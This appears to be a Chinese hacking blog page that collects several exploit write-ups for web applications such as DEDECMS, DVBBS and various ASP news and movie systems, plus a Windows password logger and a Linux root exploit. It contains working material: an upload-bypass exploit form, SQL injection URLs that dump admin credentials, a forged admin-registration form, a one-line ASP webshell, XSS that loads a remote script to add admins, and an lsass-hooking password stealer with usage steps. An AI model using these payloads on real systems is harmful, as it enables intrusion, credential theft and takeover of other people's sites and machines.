作者:st0p
转载请注明出处 http://www.st0p.org

今天才从Wolves Security Team看到toby57大牛发布的"DEDECMS v5.5 GBK Final 的一个鸡肋漏洞"这篇文章,原文地址:http://bbs.wolvez.org/topic/125/

自己本地测试了一下,覆盖SESSION这个有点鸡胁才是真的,因为要求session.auto_start = 1的情况下,一般session.auto_start这个是关闭的,所以很鸡胁.不过后面的拿SHELL当你成功进入后台的情况下就能用了..

而且session.auto_start一般是要和session_start()一起用的.查了一下资料,只有在session.auto_start开启的情况下,先调用session_start(),然后才有可能.不过具体杂覆盖的SESSION我还没去看,唉,要真找下去头非晕不可...有空在看吧..

我看了一下,其实GBK和UTF8都存在这个问题,不知道发现这个的大牛为啥只是把标题写了GBK...

看了一下/include/dialog/select_soft_post.php

问题主要出现在手工指定文件名后,更名的部分.当我们的名字为st0p.php.的时候,注意,php后还有个点,就可以跳过验证,看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
......
//文件名(前为手工指定, 后者自动处理)
if(!empty($newname))
{
	$filename = $newname; //当我们的新名称为st0p.php.的时候
	if(!ereg("\.", $filename)) $fs = explode('.', $uploadfile_name); //当$filename中不含有.的时候调用
	else $fs = explode('.', $filename); //当$filename中含有.时调用
	if(eregi($cfg_not_allowall, $fs[count($fs)-1])) //$fs[count($fs)-1]得到的值为空,跳过验证
	{
		ShowMsg("你指定的文件名被系统禁止!",'javascript:;');
		exit();
	}
	if(!ereg("\.", $filename)) $filename = $filename.'.'.$fs[count($fs)-1];
}
else
{
	$filename = $cuserLogin->getUserID().'-'.dd2char(MyDate('ymdHis',$nowtme));
	$fs = explode('.', $uploadfile_name);
	if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
	{
		ShowMsg("你上传了某些可能存在不安全因素的文件,系统拒绝操作!",'javascript:;');
		exit();
	}
	$filename = $filename.'.'.$fs[count($fs)-1];
}
$fullfilename = $cfg_basedir.$activepath.'/'.$filename; //嘿嘿,跳过验证,$filename还为st0p.php.
$fullfileurl = $activepath.'/'.$filename;
move_uploaded_file($uploadfile,$fullfilename) or die("上传文件到 $fullfilename 失败!");
@unlink($uploadfile);
......

EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>DEDECMS v5.5 Final select_soft_post.php EXP</title>
<script type="text/javascript">
function fsubmit(){
    var form = document.forms[0];
    form.action = form.target.value + form.path.value;
    tmpstr = form.target.value +'/'+ form.newname.value;
    form.bkurl.value = tmpstr.substr(0,tmpstr.length-1);
    form.submit();
    }
</script>
<style type="text/css">
<!--
body {
	text-align: center;
}
-->
</style>
</head>
 
<body>
<h3>DEDECMS v5.5 Final select_soft_post.php EXP</h3>
<form action="" method="post" enctype="multipart/form-data">
  <p>
    <input type="hidden" name="_SESSION[dede_admin_id]" value="1" />
    <input type="hidden" name="bkurl" value="1" />
    <label>Target:
      <input name="target" type="text" id="target" value="http://target" />
    </label>
    <label>Path:
      <input name="path" type="text" id="path" value="/include/dialog/select_soft_post.php" />
    </label>
    <label>File:
      <input type="file" name="uploadfile" id="uploadfile" />
    </label>
    <label>NewName:
      <input name="newname" type="text" id="newname" value="shell.php." />
    </label>
    &nbsp;<input type="submit" name="button" id="button" value="Fuck" onclick="fsubmit()" />
  </p>
</form>
</body>
</html>

author: 80vul-B
team:http://www.80vul.com

一 描叙:

由于Sablog-x v2.x的common.inc.php里$_EVO初始化处理存在逻辑漏洞,导致可以利用extract()来覆盖任意变量,最终导致xss、sql注射、代码执行等很多严重的安全漏洞。

二 分析

common.inc.php代码里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
....
$onoff = function_exists('ini_get') ? ini_get('register_globals') : get_cfg_var('register_globals');
if ($onoff != 1) {
	@extract($_COOKIE, EXTR_SKIP);
	@extract($_POST, EXTR_SKIP);
	@extract($_GET, EXTR_SKIP);
}
...
$sax_auth_key = md5($onlineip.$_SERVER['HTTP_USER_AGENT']);
list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE['sax_auth'] ? explode("\t", authcode($_COOKIE['sax_auth'], 'DECODE')) : array('', '', '');
$sax_hash = sax_addslashes($_COOKIE['sax_hash']);
...
$seccode = $sessionexists = 0;
if ($sax_hash) {
...
	if ($_EVO = $DB->fetch_array($query)){ //$_EVO初始化过程在if ($sax_hash)里,如果这个if条件不满足,将跳过这个初始化过程。
...
}
if(!$sessionexists) {
	if($sax_uid) {
		if(!($_EVO = $DB->fetch_one_array("SELECT $userfields FROM {$db_prefix}users u WHERE u.userid='$sax_uid' AND u.password='$sax_pw' AND u.lastip='$onlineip'"))) {
...
@extract($_EVO); //覆盖任意变量

Read the rest of this entry

睛天电影系统 0DAY

作者:st0p & My5t3ry
转载请注明出处http://www.st0p.org

唉,和My5t3ry搞出的洞,联系了官方管理员,一直没人理我。

首先说注入问题

漏洞文件为/p_inc/hits_order.asp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!--#include file="../p_inc/config.asp"-->
<!--#include file="../p_inc/function.asp"-->
<!--#include file="../p_inc/function_func.asp"-->
<!--#include file="../p_inc/openconn.asp"-->
<!--#include file="../p_inc/G_function.asp"-->
<%
IF Not ChkPost() Then
	response.Redirect G_error_page_1
	response.End()
End IF
'这里调用了/p_inc/function.asp文件中ChkPost()函数检测来源网址
Function G_hitss(url,numb)
	Dim str
	str=""
	sql="select top "&numb&" id,m_name,m_pic,m_hits,m_content from qingtiandy_movie where m_look=1   order by  m_hits desc,id desc"
            '看到了没numb没有过滤
	Set rs=server.CreateObject(G_RS)
	rs.open sql,conn,1,1
	i=1
	Do While Not rs.Eof 
		d_url=url_(Array("d",rs(0),url))
		str=str&"<div class=kkk1_list><a class=bbb href="&d_url&" title='主演:"&rs(2)&"'>"&Get_length(rs(1),"",32)&"</a> ("&rs(3)&")</div>"
		i=i+1
		rs.movenext
	Loop
	G_hitss=str
End Function
%>
document.write("<%=G_hitss(request("url"),request("numb"))%>")
'这里的numb也没有过滤

利用方法如
1、可以直接用软件伪造Referer后,访问如下地址实现
2、通过XMLHTTP实现伪造Referer,访问如下地址实现

http://www.st0p.org/p_inc/hits_order.asp?numb=1 (select str_username from tbl_admin) as username,(select str_pass from tbl_admin) as pass,

注:只要跳过去Referer的检测,就可以通过POST,GET,COOKIE的各种方式来实现注入了。。。

访问以下内容后,管理员用户名在网址的链接中,密码HASH直接显示出来了。。

破解密码HASH,因为后台可以直接编辑ASP文件,进入后台拿SHELL就行了。

这程序还有别的漏洞。这里就不发了。。

xss的高级利用

作者:cnryan
来源:http://hi.baidu.com/cnryan

以往对XSS的利用大多数都是针对于挂马,钓鱼,盗cookie等,这些方式并没有真正发挥到XSS的作用,因为很少人能了解XSS的实质,会话劫持,浏览器劫持,XSS能做到的东西远远超乎我们的想象。

一 XSS下提升权限
随着AJAX技术在许多大型SNS网站的应用,XSS也变得愈加流行,在XSS场景下运用AJAX能更有效地发挥它的作用。
用户输入的地方最容易滋生XSS,譬如留言、评论等表单,我搭建了一个sdbook的留言本,因为sdbook没有对用户输入的变量作出合适的过滤,导致一个XSS的产生。
留言率先传递给管理员,当作javascript劫持,我们就可以利用管理员的权限做任何事情,例如添加一个管理员。

xss-advanced-use-of1

在留言内容输入跨站代码:

1
<script>s=document.createElement("script");s.src="http://www.xss.com/xss.js";document.getElementsByTagName("head")[0].appendChild(s);</script>

这段代码用来加载远程的JS,而xss.js的内容是利用xmlHttp对象发送一个异步请求,通过XMLHTTP无刷新提交到服务器端,模拟添加一个管理员。
Read the rest of this entry

作者:st0p
转载请注明出处:http://www.st0p.org

其实尘缘雅境图文系统和我上次发的沸腾新闻系统是同一群人开发的,所以漏洞基本相同。。。

如何得到用户名和密码?
1、默认数据库路径没改,直接下载,得到用户名和密码,机会很小。
2、通过注入得到用户名和密码hash,破解hash还原密码,如果实在无法还原的情况下,你可以参考我的上篇文章(沸腾新闻系统 v0.45 拿 SHELL:http://www.st0p.org/blog/archives/boiling-news-system-v0-45-take-shell.html)的方法进行COOKIE欺骗。
3、直接注册用户为管理员,如果开放了注册的话,把下面代码保存为admin.htm,然后把action中的网址改成你对应的目标站就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title></title>
<meta name="author" content="st0p,st0p.org">
</head>
 
<body topmargin="0">
<form align="center" method="post" name="FrmAddLink" action="http://www.st0p.org/admin/saveuser.asp">
      <div align="center">
            <input name="username" value="st0p" type="hidden">
            <input name="passwd" value="st0p.org" type="hidden">
            <input name="passwd2" value="st0p.org" type="hidden">
            <input name="question" value="st0p.org" type="hidden">           
            <input name="answer" value="st0p.org" type="hidden">
	    <input name="fullname" value="st0p.org" type="hidden">
	    <input name="depid" value="1" type="hidden">
            <input name="sex" value="先生" type="hidden">
            <input name="birthyear" value="1950" type="hidden">
            <input name="birthmonth" value="1" type="hidden">
            <input name="birthday" value="1" type="hidden">
            <input name="tel" value="1234567" type="hidden">
            <input name="email" value="webmaster@google.com" type="hidden">
            <input name="photo" value="" type="hidden">
            <input name="purview" type="hidden" value="99999">
            <input name="oskey" type="hidden" value="super">
            <input name="reglevel" type="hidden" value="1">
            <input name="jingyong" type="hidden" value="0">
            <input type="submit" value="添加管理员" name="cmdOk" class="buttonface" style="font-family: 宋体; font-size: 9pt;">
            </p>
      </div>
    </form>
</body>
</html>

添加成功后,我们直接用帐号:st0p 密码:st0p.org登陆后台就可以了。

当然不只以上的方法拿到管理员的信息,由于我们讨论的是拿SHELL的思路,所以如何得到管理员信息这里我们不多做研究。

如何拿到SHELL?
1、通过远程保存文件,当然这种情况适用于利用iis6,是利用iis6的一个BUG来实现的,具体你可以参考我的上篇文章(沸腾新闻系统 v0.45 拿 SHELL:http://www.st0p.org/blog/archives/boiling-news-system-v0-45-take-shell.html)中的方法拿SHELL
2、登陆后台发一篇文章,标题我们使用

1
<%execute request("st0p")%>

内容随意写,发表成功后,我们访问http://www.st0p.org/admin/createasp.asp,会提示首页调用ASP已经更新!这样我们就得到了了一句话的马了。。
地址为:http://www.st0p.org/lastnewsxp.asp,密码为st0p
3、还有一种是通过进入后台,在系统管理-->网站属性-->上传类型中添加脚本的类型的方法,本来我们应该可以添加如asp,php,aspx,cer,asa等等类型的,然后发表文章的时候直接上传脚本来实现的。不过程序中由于以下代码过滤了asp,aspx,asa,所以只有当支持CER,PHP或别的脚本类型时可以上传成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
        fileExt=lcase(file.FileExt)
		Forumupload=split(UpFileType,"|")
		for i=0 to ubound(Forumupload)
			if fileEXT=trim(Forumupload(i)) then
				EnableUpload=true
				exit for
			end if
		next
		if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
			EnableUpload=false
		end if
		if EnableUpload=false then
			msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
			founderr=true
		end if

4、利用后台头像上传漏洞,通过NC截取来实现上传SHELL的目的。由于uploadfaceok.asp文件中可以自定义上传路径filepath参数,我们可以通过抓包修改filepath参数,实现截断文件名拿到SHELL,具体利用方法就不在这里发了,大家可以BAIDU一下关于NC上传的知识。重要部分的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
......
 formPath=upload.form("filepath")
 if right(formPath,1)<>"/" then formPath=formPath&"/" 
......
 fileExt=lcase(getFileExtName(file.fileName))
 
 if fileext<>"jpg" and fileext<>"png" and fileext<>"gif" and fileext<>"bmp" then
 	response.write "<span style=""font-family: 宋体; font-size: 9pt"">该文件格式不允许上传 [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>"
'检测了上传文件名的后缀,但没有检测上传路径是否非法
	response.end
 end if
 
randomize
rannum=int(90000*rnd)+10000
filename=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileExt
 if file.FileSize>0 then         ''如果 FileSize > 0 说明有文件数据
  file.SaveAs Server.mappath(formPath &filename)   '没有过滤就直接带入了formPath
response.write "<script>parent.document.FrmAddLink.photo.value='uploadfile/face/"&FileName&"'</script>"
 end if
......

先总结到这吧,当然应该还有一些别的地方可以利用。但st0p没时间写了,还有事要做。。有空在接着添加吧。。

作者:st0p
转载请注明出处:http://www.st0p.org

看到群里的無材发来一站,打开看了一下,很像是沸腾新闻系统,不过版本写的是V0.1,网上没找到相应的版本,发现有1.1和0.45两个版本,记得在News.asp存在注入来着,试了一下,的确可以,不过因为版本不同,所以news表的字段不同,所有语句有点不同。

经过st0p的尝试,目标站应该是0.45的,通过以下语句成功得到后台用户名和密码HASH,我是试到27个字段时成功的。。

http://st0p.org/News.asp?click=1&shu=20%201%20as%20NewsID,username%20as%20title,3%20as%20updatetime,passwd%20as%20click,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%20from%20admin%20%20order%20by%202%20desc%20union%20select%20top%202

boiling-news-system-v0-45-take-shell1

看到没,我们得到了用户名xcb,密码为c95ca278a74775f8,然后我们去破解MD5,郁闷,查不到,无法破解,难道无法进入后台来着。。。
然后我查看了一下0.45版的代码,发现了验证用户登陆的部分在admin/chkuser.asp中,我们看一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
< %
IF not(Request.cookies("KEY")="super" or Request.cookies("KEY")="check" or Request.cookies("KEY")="typemaster" or Request.cookies("KEY")="bigmaster" or Request.cookies("KEY")="smallmaster" or Request.cookies("KEY")="selfreg") THEN
'首先检测cookies中的key,如果不为上面的值,自动转向登陆页面
response.redirect "login.asp"
response.end
END IF
set urs=server.createobject("adodb.recordset")
sql="select * from admin where username='"&Request.cookies("username")&"'"
'查询cookies中username是否是管理用户
urs.open sql,conn,1,3
if urs.bof or urs.eof then
response.redirect "login.asp"
response.end
end if
IF Request.cookies("passwd")<>urs("passwd") THEN
'如果用户存在,验诈cookies中的passwd字段是否和用户的密码HASH相同,不同则转向
response.redirect "login.asp"
response.end
END IF
urs.close
set urs=nothing
%>

嘿嘿,运气还真好,虽然无法破解密码HASH,但可以利用它实现欺骗。看利用过程。。 Read the rest of this entry

DEDECMS 小说连载模块 0DAY

作者:st0p
可以转载,不过请注明出处http://www.st0p.org

由于这个洞出现在DEDECMS小说连载的模块中,所以只要DEDECMS安装时选小说连载模块,那么就存在这个问题,有些版本在条件允许下是可以直接拿SHELL的哦。
st0p总结了一下利用条件
条件1:当服务器的PHP设置magic_quotes_gpc = Off
条件2:目标DEDECMS系统安装时选中小说连载模块

首先我们先来看一下DEDECMS 5.1,他的小说频道和DEDECMS 5.3.1,DEDECMS 5.5不同,因为他的文件在member目录下面,文件是member/story_books.php,而DEDECMS 5.3.1和DEDECMS 5.5的文件在book目录下,文件是book/story_books.php
因为里面的代码相似,所以呢,咱们只看一个story_books.php就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
< ?php
......
if(!isset($action)) $action = ''; //检测变量$action是否存在,不存则则给初使值
if(!isset($catid)) $catid = 0; //检测变量$catid是否存在,不存则则给初使值
if(!isset($keyword)) $keyword = ""; //检测变量$keyword是否存在,不存则则给初使值
if(!isset($orderby)) $orderby = 0; //检测变量$orderby是否存在,不存则则给初使值
......
if($catid!=0) $addquery .= " And (b.bcatid='$catid' Or b.catid='$catid') "; 
//变量$catid不为0时,就直接把$catid给$addquery了,没有验证
if($keyword!="") $addquery .= " And (b.bookname like '%$keyword%' Or b.author like '%$keyword%') ";
//变量$keyword不为空时,就直接把$keyword给$addquery了,没有验证
$query = "
   Select b.id,b.catid,b.bookname,b.booktype,b.litpic,b.postnum,b.senddate,b.ischeck, c.id as cid,c.classname From #@__story_books b
   left join #@__story_catalog c on c.id = b.catid where memberid={$cfg_ml->M_ID} and b.id>0 $addquery $orderby
";
//生成了语句
......
?>

上面的代码看到了吧,嘎,catid和keyword没有过滤,所以这就引起了注入,不过好像构成语句有点麻烦,这个就不在本文的讨论了范围了,我们举个小例子试一下,以下操作请在登陆后进行测试,直接注册个帐号,登陆,然后输入以下地址就可以了
Read the rest of this entry

from: t00ls.net

========原理:
windows的身份验证一般最终都是在lsass进程,默认模块是msv1_0.dll,而关键在其导出函数LsaApLogonUserEx2,
本程序通过注入代码到lsass进程hook LsaApLogonUserEx2,截取密码。只要有身份验证的过程,
LsaApLogonUserEx2就会触发,如ipc$,runsa,3389远程桌面登陆等。

程序对不同系统做了处理,在2000,2003,xp,vista上都可以截取,
在2000,2003,xp中,通过UNICODE_STRING.Length 的高8位取xor key,如果密码是编码过的,则通过ntdll.RtlRunDecodeUnicodeString解码,
vista则通过AdvApi32.CredIsProtectedW判断密码是否编码过,解码用AdvApi32.CredUnprotectW。

可以自己调试器挂lsass跑一下:)

========接口:
HRESULT WINAPI DllInstall( BOOL bInstall, LPCWSTR pszCmdLine);

这是本dll导出的一个函数原型,请不要被名字蛊惑了,这个程序是绿色的。
这个函数内部并没有做任何自启动安装的动作,没有修改注册表或系统文件。只是想选一个符合regsvr32调用的接口而已。

第一个参数本程序没用到,
第二个参数请指定一个文件路径(注意是UNICODE的),记录到的数据将保存到这里(是Ansi的)。
文件路径可以像这样 C:\x.log,
也可以像\\.\pipe\your_pipename, \\.\mailslot\yourslot,
所以你可以自己写loader来调用这个dll,让dll截取到密码时通过pipe或mailslot将数据发给你的程序。数据就是一个字符串(是Ansi的)

========测试:
你可以不急着写自己的loader来调用,用regsvr32作为loader来测试一下:(你可能需要关闭某些主动防御)
regsvr32 /n /i:c:\xxx.log c:\pluginWinPswLogger.dll
正常的话regsvr32弹出一个提示成功。

这时候你可以切换用户或锁定计算机,然后重新登陆进去,这个过程密码信息就被拦截下来了并保存到c:\xxx.log。

=========End

By LZX
2009.08.20

2009.08.22(更新了一下)

can-record-windows-login-password-dongdong

DVBBS php2.0 注入漏洞

来源:Xiaoz

boardrule.php?groupboardid=1/**/union/**/select/**/concat(0xBAF3CCA8D3C3BBA7C3FBA3BA,username,0x202020C3DCC2EBA3BA,password)/**/from%20dv_admin%20where%20id%20between%201%20and%204/**/

admin/index.php

进入后台即可了..

模板CSS里添加上php木马,或者用一句话木马连接即可拿到webshell了.

来源:baoz

微软本月月经日(8.11)的同一天,国外黑客taviso和julien公开了可以攻击所有新旧Linux系统的一个漏洞,包括但不限于 RedHat,CentOS,Suse,Debian,Ubuntu,Slackware,Mandriva,Gentoo及其衍生系统。黑客只需要执行一个命令,就可以通过此漏洞获得root权限,即使开启了SELinux也于事无补。攻击这个漏洞到底有多简单,下面我们看图说话,有图有真相。

linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right

如上图所示,利用此漏洞极其简单,并且影响所有的Linux内核,baoz强烈建议系统管理员或安全人员参考下列临时修复方案,以防止Linux系统被攻击 。

2个攻击包下载
1、linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right
2、http://www.securityfocus.com/data/vulnerabilities/exploits/wunderbar_emporium-3.tgz

1、使用Grsecurity或者Pax内核安全补丁,并开启KERNEXEC防护功能。

2、升级到2.6.31-rc6或2.4.37.5以上的内核版本。

3、如果您使用的是RedHa tEnterprise Linux 4/5的系统或Centos4/5的系统,您可以通过下面的操作简单的操作防止被攻击。

在/etc/modprobe.conf文件中加入下列内容:

install pppox /bin/true
install bluetooth /bin/true
install appletalk /bin/true
install ipx /bin/true
install sctp /bin/true

很明显,第三个方案最简单也相对有效,对业务影响也最小,如果您对编译和安装Linux内核不熟悉,千万不要使用前两个方案,否则您的系统可能永远无法启动。

Linux在微软的月经日爆如此严重的漏洞,挺值得纪念的。如果您希望了解本漏洞更多的内幕、八卦和细节,请访问http://baoz.net/linux-sockops-wrap-proto-ops-local-root-exploit/ 。